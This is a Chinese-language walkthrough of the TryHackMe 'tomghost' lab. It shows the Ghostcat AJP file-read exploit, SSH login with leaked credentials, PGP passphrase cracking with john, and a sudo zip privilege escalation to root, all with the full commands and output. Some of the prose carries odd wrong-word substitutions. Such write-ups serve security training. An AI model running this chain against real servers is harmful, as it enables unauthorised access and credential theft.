关于安全:TryhackmetomghostJserv文件读取pgp解密sudo滥用zip

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服务扫描

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# nmap -sV -Pn 10.10.55.149     
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2021-10-20 04:27 EDT
Nmap scan report for 10.10.55.149
Host is up (0.31s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
8080/tcp open  http       Apache Tomcat 9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.60 seconds

在谷歌上搜寻Apache Jserv (Protocol v1.3), 发现此软件存在一个破绽

在 kali 上搜寻这个攻打脚本，拷贝到以后文件夹备用：

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# searchsploit 48143
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion                                                                                                                                                         | multiple/webapps/48143.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/tomghost]
└─# cp /usr/share/exploitdb/exploits/multiple/webapps/48143.py 48143.py

攻打

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# python 48143.py 10.10.55.149 -p 8009              
Getting resource at ajp13://10.10.55.149:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>

失去一个相似于页面的返回，期中有一段信息：

Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks

房间提醒里说用户名含有脏话，所以这个应该是一个 ssh 登录凭证

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# ssh skyfuck@10.10.55.149
The authenticity of host '10.10.55.149 (10.10.55.149)' can't be established.
ECDSA key fingerprint is SHA256:hNxvmz+AG4q06z8p74FfXZldHr0HJsaa1FBXSoTlnss.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.55.149' (ECDSA) to the list of known hosts.
skyfuck@10.10.55.149's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc
skyfuck@ubuntu:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...
10.13.21.169 - - [20/Oct/2021 01:58:16] "GET /credential.pgp HTTP/1.1" 200 -
10.13.21.169 - - [20/Oct/2021 01:58:35] "GET /tryhackme.asc HTTP/1.1" 200 -

在另一个用户的家目录夹拿到 user.txt

skyfuck@ubuntu:/home/merlin$ ls
user.txt
skyfuck@ubuntu:/home/merlin$ cat user.txt 
THM{GhostCat_1s_so_cr4sy}

把 skyfuck 用户当前目录下的文件传回攻击机剖析
credential.pgp 是一个加密文件，看名字应该是明码
tryhackme.asc 是 pgp 的加密秘钥文件

解密 pgp 文件

用 gpg2john 把 tryhackme.asc 转成 john 能辨认的内容, 我把输入导入到 hash.txt

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# gpg2john tryhackme.asc >hash.txt

File tryhackme.asc

john 破解这个 hash

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt     
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru        (tryhackme)
1g 0:00:00:00 DONE (2021-10-20 05:37) 1.639g/s 1757p/s 1757c/s 1757C/s theresa..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed

失去明码：alexandru

导入 pgp 秘钥文件，期间输出下面的明码：

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# gpg --import tryhackme.asc                                                                                                                                                                                                          2 ⨯
gpg: 密钥 8F3DA3DEC6707170：“tryhackme <stuxnet@tryhackme.com>”未扭转
gpg: 密钥 8F3DA3DEC6707170：私钥已导入
gpg: 密钥 8F3DA3DEC6707170：“tryhackme <stuxnet@tryhackme.com>”未扭转
gpg: 解决的总数：2
gpg:              未扭转：2
gpg:       读取的私钥：1
gpg:   导入的私钥：1

gpg 解密 credential.pgp 文件，期间再次输出下面的明码

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# gpg credential.pgp        
gpg: 正告：没有提供命令。正在尝试猜想您的用意...
gpg: 留神：接收者的偏好设置中找不到密文算法 CAST5
gpg: 由 1024 位的 ELG 密钥加密，标识为 61E104A66184FBCC，生成于 2020-03-11“tryhackme <stuxnet@tryhackme.com>”

读取解密文件：

┌──(root💀kali)-[~/tryhackme/tomghost]
└─# cat credential    
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

提权

通过 /etc/passwd 得悉 merlin 是期中一个用户，用下面的登陆信息切换到该用户，查看 sudo 权限

merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

利用 zip 命令提权到 root

merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
THM{Z1P_1S_FAKE}
#

正文完
安全
发表至： 安全
2021-10-20
 0
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